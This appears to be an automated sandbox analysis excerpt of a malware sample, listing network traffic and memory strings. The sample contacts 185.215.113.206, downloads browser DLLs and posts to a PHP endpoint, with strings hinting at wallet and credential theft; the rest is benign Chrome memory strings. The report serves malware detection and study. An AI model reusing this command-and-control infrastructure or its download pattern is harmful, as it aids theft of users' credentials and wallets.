Source: global traffic	HTTP traffic detected: GET /rules/rule704201v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704200v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704151v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704150v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule226009v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache

Source: chrome.exe, 00000001.00000003.1790607559.00002E9400ED8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1790841576.00002E9400F6C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1790487104.00002E9400F48000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: const FACEBOOK_APP_ID=738026486351791;class DoodleShareDialogElement extends PolymerElement{static get is(){return"ntp-doodle-share-dialog"}static get template(){return getTemplate$3()}static get properties(){return{title:String,url:Object}}onFacebookClick_(){const url="https://www.facebook.com/dialog/share"+`?app_id=${FACEBOOK_APP_ID}`+`&href=${encodeURIComponent(this.url.url)}`+`&hashtag=${encodeURIComponent("#GoogleDoodle")}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kFacebook)}onTwitterClick_(){const url="https://twitter.com/intent/tweet"+`?text=${encodeURIComponent(`${this.title}\n${this.url.url}`)}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kTwitter)}onEmailClick_(){const url=`mailto:?subject=${encodeURIComponent(this.title)}`+`&body=${encodeURIComponent(this.url.url)}`;WindowProxy.getInstance().navigate(url);this.notifyShare_(DoodleShareChannel.kEmail)}onCopyClick_(){this.$.url.select();navigator.clipboard.writeText(this.url.url);this.notifyShare_(DoodleShareChannel.kLinkCopy)}onCloseClick_(){this.$.dialog.close()}notifyShare_(channel){this.dispatchEvent(new CustomEvent("share",{detail:channel}))}}customElements.define(DoodleShareDialogElement.is,DoodleShareDialogElement);function getTemplate$2(){return html`<!--_html_template_start_--><style include="cr-hidden-style">:host{--ntp-logo-height:200px;display:flex;flex-direction:column;flex-shrink:0;justify-content:flex-end;min-height:var(--ntp-logo-height)}:host([reduced-logo-space-enabled_]){--ntp-logo-height:168px}:host([doodle-boxed_]){justify-content:flex-end}#logo{forced-color-adjust:none;height:92px;width:272px}:host([single-colored]) #logo{-webkit-mask-image:url(icons/google_logo.svg);-webkit-mask-repeat:no-repeat;-webkit-mask-size:100%;background-color:var(--ntp-logo-color)}:host(:not([single-colored])) #logo{background-image:url(icons/google_logo.svg)}#imageDoodle{cursor:pointer;outline:0}#imageDoodle[tabindex='-1']{cursor:auto}:host([doodle-boxed_]) #imageDoodle{background-color:var(--ntp-logo-box-color);border-radius:20px;padding:16px 24px}:host-context(.focus-outline-visible) #imageDoodle:focus{box-shadow:0 0 0 2px rgba(var(--google-blue-600-rgb),.4)}#imageContainer{display:flex;height:fit-content;position:relative;width:fit-content}#image{max-height:var(--ntp-logo-height);max-width:100%}:host([doodle-boxed_]) #image{max-height:160px}:host([doodle-boxed_][reduced-logo-space-enabled_]) #image{max-height:128px}#animation{height:100%;pointer-events:none;position:absolute;width:100%}#shareButton{background-color:var(--ntp-logo-share-button-background-color,none);border:none;height:var(--ntp-logo-share-button-height,0);left:var(--ntp-logo-share-button-x,0);min-width:var(--ntp-logo-share-button-width,0);opacity:.8;outline:initial;padding:2px;position:absolute;top:var(--ntp-logo-share-button-y,0);width:var(--ntp-logo-share-button-width,0)}#shareButton:hover{opacity:1}#shareButton img{height:100%;width:100%}#iframe{border:none;
Source: chrome.exe, 00000001.00000003.1790607559.00002E9400ED8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1790841576.00002E9400F6C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1790487104.00002E9400F48000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: const FACEBOOK_APP_ID=738026486351791;class DoodleShareDialogElement extends PolymerElement{static get is(){return"ntp-doodle-share-dialog"}static get template(){return getTemplate$3()}static get properties(){return{title:String,url:Object}}onFacebookClick_(){const url="https://www.facebook.com/dialog/share"+`?app_id=${FACEBOOK_APP_ID}`+`&href=${encodeURIComponent(this.url.url)}`+`&hashtag=${encodeURIComponent("#GoogleDoodle")}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kFacebook)}onTwitterClick_(){const url="https://twitter.com/intent/tweet"+`?text=${encodeURIComponent(`${this.title}\n${this.url.url}`)}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kTwitter)}onEmailClick_(){const url=`mailto:?subject=${encodeURIComponent(this.title)}`+`&body=${encodeURIComponent(this.url.url)}`;WindowProxy.getInstance().navigate(url);this.notifyShare_(DoodleShareChannel.kEmail)}onCopyClick_(){this.$.url.select();navigator.clipboard.writeText(this.url.url);this.notifyShare_(DoodleShareChannel.kLinkCopy)}onCloseClick_(){this.$.dialog.close()}notifyShare_(channel){this.dispatchEvent(new CustomEvent("share",{detail:channel}))}}customElements.define(DoodleShareDialogElement.is,DoodleShareDialogElement);function getTemplate$2(){return html`<!--_html_template_start_--><style include="cr-hidden-style">:host{--ntp-logo-height:200px;display:flex;flex-direction:column;flex-shrink:0;justify-content:flex-end;min-height:var(--ntp-logo-height)}:host([reduced-logo-space-enabled_]){--ntp-logo-height:168px}:host([doodle-boxed_]){justify-content:flex-end}#logo{forced-color-adjust:none;height:92px;width:272px}:host([single-colored]) #logo{-webkit-mask-image:url(icons/google_logo.svg);-webkit-mask-repeat:no-repeat;-webkit-mask-size:100%;background-color:var(--ntp-logo-color)}:host(:not([single-colored])) #logo{background-image:url(icons/google_logo.svg)}#imageDoodle{cursor:pointer;outline:0}#imageDoodle[tabindex='-1']{cursor:auto}:host([doodle-boxed_]) #imageDoodle{background-color:var(--ntp-logo-box-color);border-radius:20px;padding:16px 24px}:host-context(.focus-outline-visible) #imageDoodle:focus{box-shadow:0 0 0 2px rgba(var(--google-blue-600-rgb),.4)}#imageContainer{display:flex;height:fit-content;position:relative;width:fit-content}#image{max-height:var(--ntp-logo-height);max-width:100%}:host([doodle-boxed_]) #image{max-height:160px}:host([doodle-boxed_][reduced-logo-space-enabled_]) #image{max-height:128px}#animation{height:100%;pointer-events:none;position:absolute;width:100%}#shareButton{background-color:var(--ntp-logo-share-button-background-color,none);border:none;height:var(--ntp-logo-share-button-height,0);left:var(--ntp-logo-share-button-x,0);min-width:var(--ntp-logo-share-button-width,0);opacity:.8;outline:initial;padding:2px;position:absolute;top:var(--ntp-logo-share-button-y,0);width:var(--ntp-logo-share-button-width,0)}#shareButton:hover{opacity:1}#shareButton img{height:100%;width:100%}#iframe{border:none;

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: apis.google.com
Source: global traffic	DNS traffic detected: DNS query: play.google.com

Source: unknown

HTTP traffic detected: POST /log?format=json&hasfast=true HTTP/1.1Host: play.google.comConnection: keep-aliveContent-Length: 913sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Type: application/x-www-form-urlencoded;charset=UTF-8Accept: */*Origin: chrome-untrusted://new-tab-pageX-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: file.exe, 00000000.00000002.2064326724.0000000000566000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206
Source: file.exe, 00000000.00000002.2065495419.0000000001197000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: file.exe, 00000000.00000002.2065495419.00000000011B3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php
Source: file.exe, 00000000.00000002.2065495419.00000000011B3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php#
Source: file.exe, 00000000.00000002.2065495419.00000000011B3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php:
Source: file.exe, 00000000.00000002.2065495419.00000000011B3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpE
Source: file.exe, 00000000.00000002.2065495419.0000000001197000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpS
Source: file.exe, 00000000.00000002.2065495419.00000000011B3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpW
Source: file.exe, 00000000.00000002.2065495419.0000000001184000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpX6~r
Source: file.exe, 00000000.00000002.2065495419.0000000001197000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpc
Source: file.exe, 00000000.00000002.2065495419.00000000011B3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpcal
Source: file.exe, 00000000.00000002.2065495419.0000000001197000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpenSSH
Source: file.exe, 00000000.00000002.2065495419.00000000011B3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpf=
Source: file.exe, 00000000.00000002.2064326724.00000000004AC000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpion:
Source: file.exe, 00000000.00000002.2065495419.00000000011B3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpodus.wallet
Source: file.exe, 00000000.00000002.2065495419.00000000011B3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phppPno
Source: file.exe, 00000000.00000002.2065495419.00000000011B3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phprowser
Source: file.exe, 00000000.00000002.2065495419.00000000011B3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/freebl3.dll
Source: file.exe, 00000000.00000002.2065495419.00000000011B3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/mozglue.dll
Source: file.exe, 00000000.00000002.2065495419.00000000011B3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/mozglue.dllv
Source: file.exe, 00000000.00000002.2065495419.0000000001197000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2081765967.00000000236E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/msvcp140.dll
Source: file.exe, 00000000.00000002.2065495419.00000000011B3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/nss3.dll
Source: file.exe, 00000000.00000002.2065495419.0000000001197000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2081765967.00000000236E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/softokn3.dll
Source: file.exe, 00000000.00000002.2065495419.0000000001197000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/softokn3.dllB
Source: file.exe, 00000000.00000002.2064326724.0000000000594000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2065495419.00000000011B3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/sqlite3.dll
Source: file.exe, 00000000.00000002.2065495419.00000000011B3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/sqlite3.dlld
Source: file.exe, 00000000.00000002.2065495419.00000000011F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/vcruntime140.dll
Source: file.exe, 00000000.00000002.2065495419.00000000011F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/vcruntime140.dllcal
Source: file.exe, 00000000.00000002.2065495419.00000000011F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/vcruntime140.dllo
Source: file.exe, 00000000.00000002.2065495419.00000000011F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/vcruntime140.dllrrorAssistant
Source: file.exe, 00000000.00000002.2065495419.0000000001197000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/r(Cn
Source: file.exe, 00000000.00000002.2064326724.00000000004AC000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206IDG
Source: chrome.exe, 00000001.00000003.1787944101.00002E940037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1788841178.00002E940037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1788941462.00002E9400B04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/1423136
Source: chrome.exe, 00000001.00000003.1787944101.00002E940037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1788841178.00002E940037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1788941462.00002E9400B04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/2162
Source: chrome.exe, 00000001.00000003.1787944101.00002E940037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1788841178.00002E940037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1788941462.00002E9400B04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/2517
Source: chrome.exe, 00000001.00000003.1787944101.00002E940037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1788841178.00002E940037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1788941462.00002E9400B04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/2970
Source: chrome.exe, 00000001.00000003.1787944101.00002E940037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1788841178.00002E940037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1788941462.00002E9400B04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3078
Source: chrome.exe, 00000001.00000003.1787944101.00002E940037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1788841178.00002E940037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1788941462.00002E9400B04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3205
Source: chrome.exe, 00000001.00000003.1787944101.00002E940037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1788841178.00002E940037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1788941462.00002E9400B04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3206
Source: chrome.exe, 00000001.00000003.1787944101.00002E940037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1788841178.00002E940037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1788941462.00002E9400B04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3452
Source: chrome.exe, 00000001.00000003.1787944101.00002E940037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1788841178.00002E940037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1788941462.00002E9400B04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3498
Source: chrome.exe, 00000001.00000003.1787944101.00002E940037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1788841178.00002E940037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1788941462.00002E9400B04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3502
Source: chrome.exe, 00000001.00000003.1787944101.00002E940037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1788841178.00002E940037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1788941462.00002E9400B04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3577
Source: chrome.exe, 00000001.00000003.1787944101.00002E940037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1788841178.00002E940037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1788941462.00002E9400B04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3584
Source: chrome.exe, 00000001.00000003.1787944101.00002E940037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1788841178.00002E940037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1788941462.00002E9400B04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3586
Source: chrome.exe, 00000001.00000003.1788941462.00002E9400B04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3623
Source: chrome.exe, 00000001.00000003.1788941462.00002E9400B04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3624
Source: chrome.exe, 00000001.00000003.1788941462.00002E9400B04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3625
Source: chrome.exe, 00000001.00000003.1787944101.00002E940037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1788841178.00002E940037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1788941462.00002E9400B04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3832
Source: chrome.exe, 00000001.00000003.1787944101.00002E940037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1788841178.00002E940037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1788941462.00002E9400B04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3862
Source: chrome.exe, 00000001.00000003.1787944101.00002E940037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1788841178.00002E940037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1788941462.00002E9400B04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3965
Source: chrome.exe, 00000001.00000003.1787944101.00002E940037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1788841178.00002E940037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1788941462.00002E9400B04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3970
Source: chrome.exe, 00000001.00000003.1787944101.00002E940037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1788841178.00002E940037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1788941462.00002E9400B04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4324
Source: chrome.exe, 00000001.00000003.1787944101.00002E940037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1788841178.00002E940037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1788941462.00002E9400B04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4384
Source: chrome.exe, 00000001.00000003.1787944101.00002E940037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1788841178.00002E940037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1788941462.00002E9400B04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4405
Source: chrome.exe, 00000001.00000003.1787944101.00002E940037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1788841178.00002E940037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1788941462.00002E9400B04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4428
Source: chrome.exe, 00000001.00000003.1787944101.00002E940037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1788841178.00002E940037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1788941462.00002E9400B04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4551
Source: chrome.exe, 00000001.00000003.1787944101.00002E940037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1788841178.00002E940037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1788941462.00002E9400B04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4633
Source: chrome.exe, 00000001.00000003.1787944101.00002E940037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1788841178.00002E940037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1788941462.00002E9400B04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4722
Source: chrome.exe, 00000001.00000003.1787944101.00002E940037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1788841178.00002E940037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1788941462.00002E9400B04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4836
Source: chrome.exe, 00000001.00000003.1787944101.00002E940037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1788841178.00002E940037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1788941462.00002E9400B04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4901
Source: chrome.exe, 00000001.00000003.1787944101.00002E940037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1788841178.00002E940037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1788941462.00002E9400B04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4937
Source: chrome.exe, 00000001.00000003.1787944101.00002E940037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1788841178.00002E940037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1788941462.00002E9400B04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5007
Source: chrome.exe, 00000001.00000003.1787944101.00002E940037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1788841178.00002E940037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1788941462.00002E9400B04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5055
Source: chrome.exe, 00000001.00000003.1787944101.00002E940037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1788841178.00002E940037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1788941462.00002E9400B04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5061
Source: chrome.exe, 00000001.00000003.1787944101.00002E940037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1788841178.00002E940037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1788941462.00002E9400B04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5281
Source: chrome.exe, 00000001.00000003.1787944101.00002E940037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1788841178.00002E940037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1788941462.00002E9400B04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5371
Source: chrome.exe, 00000001.00000003.1787944101.00002E940037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1788841178.00002E940037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1788941462.00002E9400B04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5375
Source: chrome.exe, 00000001.00000003.1787944101.00002E940037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1788841178.00002E940037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1788941462.00002E9400B04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5421
Source: chrome.exe, 00000001.00000003.1787944101.00002E940037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1788841178.00002E940037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1788941462.00002E9400B04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5430
Source: chrome.exe, 00000001.00000003.1787944101.00002E940037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1788841178.00002E940037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1788941462.00002E9400B04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5535
Source: chrome.exe, 00000001.00000003.1787944101.00002E940037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1788841178.00002E940037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1788941462.00002E9400B04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5658
Source: chrome.exe, 00000001.00000003.1787944101.00002E940037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1788841178.00002E940037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1788941462.00002E9400B04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5750
Source: chrome.exe, 00000001.00000003.1787944101.00002E940037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1788841178.00002E940037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1788941462.00002E9400B04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5881
Source: chrome.exe, 00000001.00000003.1787944101.00002E940037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1788841178.00002E940037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1788941462.00002E9400B04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5901
